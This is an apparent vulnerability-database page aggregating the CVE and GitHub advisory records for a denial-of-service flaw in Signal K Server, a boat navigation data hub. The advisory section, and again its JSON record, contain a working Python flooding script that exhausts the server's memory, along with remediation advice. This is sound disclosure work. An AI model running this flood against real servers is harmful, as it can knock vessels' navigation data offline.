Vulnerability-Lookup

CVE-2025-68272 (GCVE-0-2025-68272)

Vulnerability from cvelistv5 – Published: 2026-01-01 18:08 – Updated: 2026-01-02 18:55

Title

Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding

Summary

Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects. Version 2.19.0 fixes the issue.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-02 18:55 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8035 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/SignalK/signalk-server/securit…	x_refsource_CONFIRM
https://github.com/SignalK/signalk-server/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
SignalK	signalk-server	Affected: < 2.19.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-68272

Vulnerability from fkie_nvd - Published: 2026-01-01 18:15 - Updated: 2026-10-07 11:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SignalK/signalk-server/releases/tag/v2.19.0	Release Notes
	security-advisories@github.com	https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	signalk	signal_k_server	*

JSON

To clipboard

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    },
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    }
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GHSA-7RQC-FF8M-7J23

Vulnerability from github – Published: 2026-01-02 15:20 – Updated: 2026-01-02 15:20

Summary

Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding

Details

Summary

A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Details

The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.

Vulnerable Code Analysis: 1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object: javascript const requests = {} 2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests. 3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). 4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).

Exploit Scenario: 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests. 2. The server stores every request in the requests object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

PoC

The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')

        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()

        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.

Impact

Verified Denial of Service: During our verification using the provided PoC, we observed the following: 1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack. 2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash. 3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

Remediation

1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:20:05Z",
    "nvd_published_at": "2026-01-01T18:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it\u0027s for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode(\u0027utf-8\u0027)\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={\u0027Content-Type\u0027: \u0027application/json\u0027}, \n            method=\u0027POST\u0027\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) \u003e= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel\u0027s navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
  "id": "GHSA-7rqc-ff8m-7j23",
  "modified": "2026-01-02T15:20:05Z",
  "published": "2026-01-02T15:20:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding"
}

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2025-68272 (GCVE-0-2025-68272)

FKIE_CVE-2025-68272

GHSA-7RQC-FF8M-7J23

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